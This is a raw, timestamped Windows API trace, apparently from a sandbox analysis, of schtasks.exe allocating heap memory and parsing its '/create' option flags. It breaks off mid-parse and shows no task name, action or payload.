[0159.212] GetProcessHeap () returned 0x220000 [0159.212] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cd20 [0159.212] SetLastError (dwErrCode=0x0) [0159.212] GetProcessHeap () returned 0x220000 [0159.212] GetProcessHeap () returned 0x220000 [0159.212] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c190) returned 1 [0159.212] GetProcessHeap () returned 0x220000 [0159.212] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23c190) returned 0x8 [0159.212] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23c190 | out: hHeap=0x220000) returned 1 [0159.212] GetProcessHeap () returned 0x220000 [0159.212] GetProcessHeap () returned 0x220000 [0159.212] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cba0) returned 1 [0159.212] GetProcessHeap () returned 0x220000 [0159.212] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cba0) returned 0x20 [0159.213] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cba0 | out: hHeap=0x220000) returned 1 [0159.213] GetProcessHeap () returned 0x220000 [0159.213] GetProcessHeap () returned 0x220000 [0159.213] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d490) returned 1 [0159.213] GetProcessHeap () returned 0x220000 [0159.213] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d490) returned 0x12 [0159.213] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d490 | out: hHeap=0x220000) returned 1 [0159.213] GetProcessHeap () returned 0x220000 [0159.213] GetProcessHeap () returned 0x220000 [0159.213] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cbd0) returned 1 [0159.213] GetProcessHeap () returned 0x220000 [0159.213] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cbd0) returned 0x20 [0159.213] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cbd0 | out: hHeap=0x220000) returned 1 [0159.213] GetProcessHeap () returned 0x220000 [0159.213] GetProcessHeap () returned 0x220000 [0159.213] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23dc60) returned 1 [0159.213] GetProcessHeap () returned 0x220000 [0159.213] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23dc60) returned 0x8 [0159.213] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23dc60 | out: hHeap=0x220000) returned 1 [0159.213] GetProcessHeap () returned 0x220000 [0159.213] GetProcessHeap () returned 0x220000 [0159.214] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cc00) returned 1 [0159.214] GetProcessHeap () returned 0x220000 [0159.214] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cc00) returned 0x20 [0159.214] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cc00 | out: hHeap=0x220000) returned 1 [0159.214] GetProcessHeap () returned 0x220000 [0159.214] GetProcessHeap () returned 0x220000 [0159.214] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d4b0) returned 1 [0159.214] GetProcessHeap () returned 0x220000 [0159.214] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d4b0) returned 0xe [0159.214] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d4b0 | out: hHeap=0x220000) returned 1 [0159.214] GetProcessHeap () returned 0x220000 [0159.214] GetProcessHeap () returned 0x220000 [0159.214] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cc30) returned 1 [0159.215] GetProcessHeap () returned 0x220000 [0159.215] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cc30) returned 0x20 [0159.215] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cc30 | out: hHeap=0x220000) returned 1 [0159.215] GetProcessHeap () returned 0x220000 [0159.215] GetProcessHeap () returned 0x220000 [0159.215] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23dc80) returned 1 [0159.215] GetProcessHeap () returned 0x220000 [0159.215] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23dc80) returned 0x8 [0159.215] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23dc80 | out: hHeap=0x220000) returned 1 [0159.215] GetProcessHeap () returned 0x220000 [0159.215] GetProcessHeap () returned 0x220000 [0159.215] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cc60) returned 1 [0159.215] GetProcessHeap () returned 0x220000 [0159.215] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cc60) returned 0x20 [0159.216] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cc60 | out: hHeap=0x220000) returned 1 [0159.216] GetProcessHeap () returned 0x220000 [0159.216] GetProcessHeap () returned 0x220000 [0159.216] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23dca0) returned 1 [0159.216] GetProcessHeap () returned 0x220000 [0159.216] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23dca0) returned 0x6 [0159.216] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23dca0 | out: hHeap=0x220000) returned 1 [0159.216] GetProcessHeap () returned 0x220000 [0159.216] GetProcessHeap () returned 0x220000 [0159.216] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cc90) returned 1 [0159.216] GetProcessHeap () returned 0x220000 [0159.216] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cc90) returned 0x20 [0159.217] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cc90 | out: hHeap=0x220000) returned 1 [0159.217] GetProcessHeap () returned 0x220000 [0159.217] GetProcessHeap () returned 0x220000 [0159.217] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23dcc0) returned 1 [0159.217] GetProcessHeap () returned 0x220000 [0159.217] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23dcc0) returned 0x8 [0159.217] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23dcc0 | out: hHeap=0x220000) returned 1 [0159.217] GetProcessHeap () returned 0x220000 [0159.217] GetProcessHeap () returned 0x220000 [0159.217] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23ccc0) returned 1 [0159.217] GetProcessHeap () returned 0x220000 [0159.217] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23ccc0) returned 0x20 [0159.217] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ccc0 | out: hHeap=0x220000) returned 1 [0159.217] GetProcessHeap () returned 0x220000 [0159.217] GetProcessHeap () returned 0x220000 [0159.217] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x2392c0) returned 1 [0159.217] GetProcessHeap () returned 0x220000 [0159.217] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x2392c0) returned 0x3e [0159.218] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2392c0 | out: hHeap=0x220000) returned 1 [0159.218] GetProcessHeap () returned 0x220000 [0159.218] GetProcessHeap () returned 0x220000 [0159.218] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23ccf0) returned 1 [0159.218] GetProcessHeap () returned 0x220000 [0159.218] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23ccf0) returned 0x20 [0159.218] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ccf0 | out: hHeap=0x220000) returned 1 [0159.218] GetProcessHeap () returned 0x220000 [0159.218] GetProcessHeap () returned 0x220000 [0159.218] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23dce0) returned 1 [0159.218] GetProcessHeap () returned 0x220000 [0159.218] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23dce0) returned 0x6 [0159.218] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23dce0 | out: hHeap=0x220000) returned 1 [0159.218] GetProcessHeap () returned 0x220000 [0159.218] GetProcessHeap () returned 0x220000 [0159.219] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cd20) returned 1 [0159.219] GetProcessHeap () returned 0x220000 [0159.219] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cd20) returned 0x20 [0159.219] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cd20 | out: hHeap=0x220000) returned 1 [0159.219] GetProcessHeap () returned 0x220000 [0159.219] GetProcessHeap () returned 0x220000 [0159.219] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23b960) returned 1 [0159.219] GetProcessHeap () returned 0x220000 [0159.219] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23b960) returned 0x18 [0159.219] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23b960 | out: hHeap=0x220000) returned 1 [0159.219] SetLastError (dwErrCode=0x0) [0159.219] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0159.219] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0159.220] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0159.220] VerifyVersionInfoW (in: lpVersionInformation=0xbc050, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xbc050) returned 1 [0159.220] SetLastError (dwErrCode=0x0) [0159.220] lstrlenW (lpString="create") returned 6 [0159.220] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0159.220] SetLastError (dwErrCode=0x490) [0159.220] SetLastError (dwErrCode=0x0) [0159.220] lstrlenW (lpString="create") returned 6 [0159.220] GetProcessHeap () returned 0x220000 [0159.220] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cd20 [0159.220] GetProcessHeap () returned 0x220000 [0159.220] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23d4b0 [0159.220] _memicmp (_Buf1=0x23d4b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.220] GetProcessHeap () returned 0x220000 [0159.220] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x16) returned 0x23d490 [0159.220] SetLastError (dwErrCode=0x0) [0159.220] _memicmp (_Buf1=0x23ba20, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.220] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x23bbc0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0159.220] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0159.220] GetProcessHeap () returned 0x220000 [0159.220] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x74e) returned 0x23dc60 [0159.221] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x23dc60 | out: lpData=0x23dc60) returned 1 [0159.221] VerQueryValueW (in: pBlock=0x23dc60, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xbc138, puLen=0xbc1a0 | out: lplpBuffer=0xbc138*=0x23dffc, puLen=0xbc1a0) returned 1 [0159.221] _memicmp (_Buf1=0x23ba20, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.221] _vsnwprintf (in: _Buffer=0x23bbc0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xbc118 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0159.221] VerQueryValueW (in: pBlock=0x23dc60, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xbc1a8, puLen=0xbc198 | out: lplpBuffer=0xbc1a8*=0x23de28, puLen=0xbc198) returned 1 [0159.221] lstrlenW (lpString="schtasks.exe") returned 12 [0159.221] lstrlenW (lpString="schtasks.exe") returned 12 [0159.221] lstrlenW (lpString=".EXE") returned 4 [0159.221] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0159.221] lstrlenW (lpString="schtasks.exe") returned 12 [0159.221] lstrlenW (lpString=".EXE") returned 4 [0159.221] lstrlenW (lpString="schtasks") returned 8 [0159.221] lstrlenW (lpString="/create") returned 7 [0159.221] _memicmp (_Buf1=0x23ba20, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.221] _vsnwprintf (in: _Buffer=0x23bbc0, _BufferCount=0x19, _Format="%s %s", _ArgList=0xbc118 | out: _Buffer="schtasks /create") returned 16 [0159.221] _memicmp (_Buf1=0x23ba40, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.221] GetProcessHeap () returned 0x220000 [0159.221] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23ccf0 [0159.221] _memicmp (_Buf1=0x23ba60, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.222] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x23d250, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0159.222] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0159.222] GetProcessHeap () returned 0x220000 [0159.222] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x30) returned 0x237a60 [0159.222] _vsnwprintf (in: _Buffer=0x23bfc0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xbc118 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0159.222] GetProcessHeap () returned 0x220000 [0159.222] GetProcessHeap () returned 0x220000 [0159.222] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23dc60) returned 1 [0159.222] GetProcessHeap () returned 0x220000 [0159.222] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23dc60) returned 0x74e [0159.222] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23dc60 | out: hHeap=0x220000) returned 1 [0159.222] SetLastError (dwErrCode=0x0) [0159.222] GetThreadLocale () returned 0x409 [0159.222] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.222] lstrlenW (lpString="create") returned 6 [0159.222] GetThreadLocale () returned 0x409 [0159.222] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.222] lstrlenW (lpString="?") returned 1 [0159.223] GetThreadLocale () returned 0x409 [0159.223] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.223] lstrlenW (lpString="s") returned 1 [0159.223] GetThreadLocale () returned 0x409 [0159.223] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.223] lstrlenW (lpString="u") returned 1 [0159.223] GetThreadLocale () returned 0x409 [0159.223] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.223] lstrlenW (lpString="p") returned 1 [0159.223] GetThreadLocale () returned 0x409 [0159.223] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.223] lstrlenW (lpString="ru") returned 2 [0159.223] GetThreadLocale () returned 0x409 [0159.223] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.223] lstrlenW (lpString="rp") returned 2 [0159.223] GetThreadLocale () returned 0x409 [0159.223] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.223] lstrlenW (lpString="sc") returned 2 [0159.223] GetThreadLocale () returned 0x409 [0159.223] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.223] lstrlenW (lpString="mo") returned 2 [0159.223] GetThreadLocale () returned 0x409 [0159.223] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.223] lstrlenW (lpString="d") returned 1 [0159.223] GetThreadLocale () returned 0x409 [0159.223] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.223] lstrlenW (lpString="m") returned 1 [0159.223] GetThreadLocale () returned 0x409 [0159.223] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.223] lstrlenW (lpString="i") returned 1 [0159.223] GetThreadLocale () returned 0x409 [0159.223] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.223] lstrlenW (lpString="tn") returned 2 [0159.223] GetThreadLocale () returned 0x409 [0159.223] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.223] lstrlenW (lpString="tr") returned 2 [0159.223] GetThreadLocale () returned 0x409 [0159.224] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.224] lstrlenW (lpString="st") returned 2 [0159.224] GetThreadLocale () returned 0x409 [0159.224] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.224] lstrlenW (lpString="sd") returned 2 [0159.224] GetThreadLocale () returned 0x409 [0159.224] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.224] lstrlenW (lpString="ed") returned 2 [0159.224] GetThreadLocale () returned 0x409 [0159.224] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.224] lstrlenW (lpString="it") returned 2 [0159.224] GetThreadLocale () returned 0x409 [0159.224] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.224] lstrlenW (lpString="et") returned 2 [0159.224] GetThreadLocale () returned 0x409 [0159.224] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.224] lstrlenW (lpString="k") returned 1 [0159.224] GetThreadLocale () returned 0x409 [0159.224] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.224] lstrlenW (lpString="du") returned 2 [0159.224] GetThreadLocale () returned 0x409 [0159.224] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.224] lstrlenW (lpString="ri") returned 2 [0159.224] GetThreadLocale () returned 0x409 [0159.224] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.224] lstrlenW (lpString="z") returned 1 [0159.224] GetThreadLocale () returned 0x409 [0159.224] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.224] lstrlenW (lpString="f") returned 1 [0159.224] GetThreadLocale () returned 0x409 [0159.224] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.224] lstrlenW (lpString="v1") returned 2 [0159.224] GetThreadLocale () returned 0x409 [0159.224] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.224] lstrlenW (lpString="xml") returned 3 [0159.224] GetThreadLocale () returned 0x409 [0159.224] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.225] lstrlenW (lpString="ec") returned 2 [0159.225] GetThreadLocale () returned 0x409 [0159.225] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.225] lstrlenW (lpString="rl") returned 2 [0159.225] GetThreadLocale () returned 0x409 [0159.225] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.225] lstrlenW (lpString="delay") returned 5 [0159.225] GetThreadLocale () returned 0x409 [0159.225] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.225] lstrlenW (lpString="np") returned 2 [0159.225] SetLastError (dwErrCode=0x0) [0159.225] SetLastError (dwErrCode=0x0) [0159.225] lstrlenW (lpString="/create") returned 7 [0159.225] lstrlenW (lpString="-/") returned 2 [0159.225] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0159.225] lstrlenW (lpString="create") returned 6 [0159.225] lstrlenW (lpString="create") returned 6 [0159.225] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.225] lstrlenW (lpString="create") returned 6 [0159.225] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.225] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|create|") returned 8 [0159.225] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|create|") returned 8 [0159.225] lstrlenW (lpString="|create|") returned 8 [0159.225] lstrlenW (lpString="|create|") returned 8 [0159.225] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0159.226] SetLastError (dwErrCode=0x0) [0159.226] SetLastError (dwErrCode=0x0) [0159.226] SetLastError (dwErrCode=0x0) [0159.226] lstrlenW (lpString="/tn") returned 3 [0159.226] lstrlenW (lpString="-/") returned 2 [0159.226] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0159.226] lstrlenW (lpString="create") returned 6 [0159.226] lstrlenW (lpString="create") returned 6 [0159.226] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.226] lstrlenW (lpString="tn") returned 2 [0159.226] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.226] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|create|") returned 8 [0159.226] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|tn|") returned 4 [0159.226] lstrlenW (lpString="|create|") returned 8 [0159.226] lstrlenW (lpString="|tn|") returned 4 [0159.226] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0159.226] SetLastError (dwErrCode=0x490) [0159.226] lstrlenW (lpString="?") returned 1 [0159.226] lstrlenW (lpString="?") returned 1 [0159.226] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.226] lstrlenW (lpString="tn") returned 2 [0159.226] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.226] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|?|") returned 3 [0159.226] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|tn|") returned 4 [0159.226] lstrlenW (lpString="|?|") returned 3 [0159.226] lstrlenW (lpString="|tn|") returned 4 [0159.226] SetLastError (dwErrCode=0x490) [0159.226] lstrlenW (lpString="s") returned 1 [0159.226] lstrlenW (lpString="s") returned 1 [0159.226] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.226] lstrlenW (lpString="tn") returned 2 [0159.226] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.226] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|s|") returned 3 [0159.227] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|tn|") returned 4 [0159.227] lstrlenW (lpString="|s|") returned 3 [0159.227] lstrlenW (lpString="|tn|") returned 4 [0159.227] SetLastError (dwErrCode=0x490) [0159.227] lstrlenW (lpString="u") returned 1 [0159.227] lstrlenW (lpString="u") returned 1 [0159.227] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.227] lstrlenW (lpString="tn") returned 2 [0159.227] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.227] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|u|") returned 3 [0159.227] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|tn|") returned 4 [0159.227] lstrlenW (lpString="|u|") returned 3 [0159.227] lstrlenW (lpString="|tn|") returned 4 [0159.227] SetLastError (dwErrCode=0x490) [0159.227] lstrlenW (lpString="p") returned 1 [0159.227] lstrlenW (lpString="p") returned 1 [0159.227] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.227] lstrlenW (lpString="tn") returned 2 [0159.227] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.227] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|p|") returned 3 [0159.227] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|tn|") returned 4 [0159.227] lstrlenW (lpString="|p|") returned 3 [0159.227] lstrlenW (lpString="|tn|") returned 4 [0159.227] SetLastError (dwErrCode=0x490) [0159.227] lstrlenW (lpString="ru") returned 2 [0159.227] lstrlenW (lpString="ru") returned 2 [0159.227] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.227] lstrlenW (lpString="tn") returned 2 [0159.227] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.227] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|ru|") returned 4 [0159.227] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|tn|") returned 4 [0159.227] lstrlenW (lpString="|ru|") returned 4 [0159.227] lstrlenW (lpString="|tn|") returned 4 [0159.227] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0159.228] SetLastError (dwErrCode=0x490) [0159.228] lstrlenW (lpString="rp") returned 2 [0159.228] lstrlenW (lpString="rp") returned 2 [0159.228] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.228] lstrlenW (lpString="tn") returned 2 [0159.228] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.228] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|rp|") returned 4 [0159.228] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|tn|") returned 4 [0159.228] lstrlenW (lpString="|rp|") returned 4 [0159.228] lstrlenW (lpString="|tn|") returned 4 [0159.228] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0159.228] SetLastError (dwErrCode=0x490) [0159.228] lstrlenW (lpString="sc") returned 2 [0159.228] 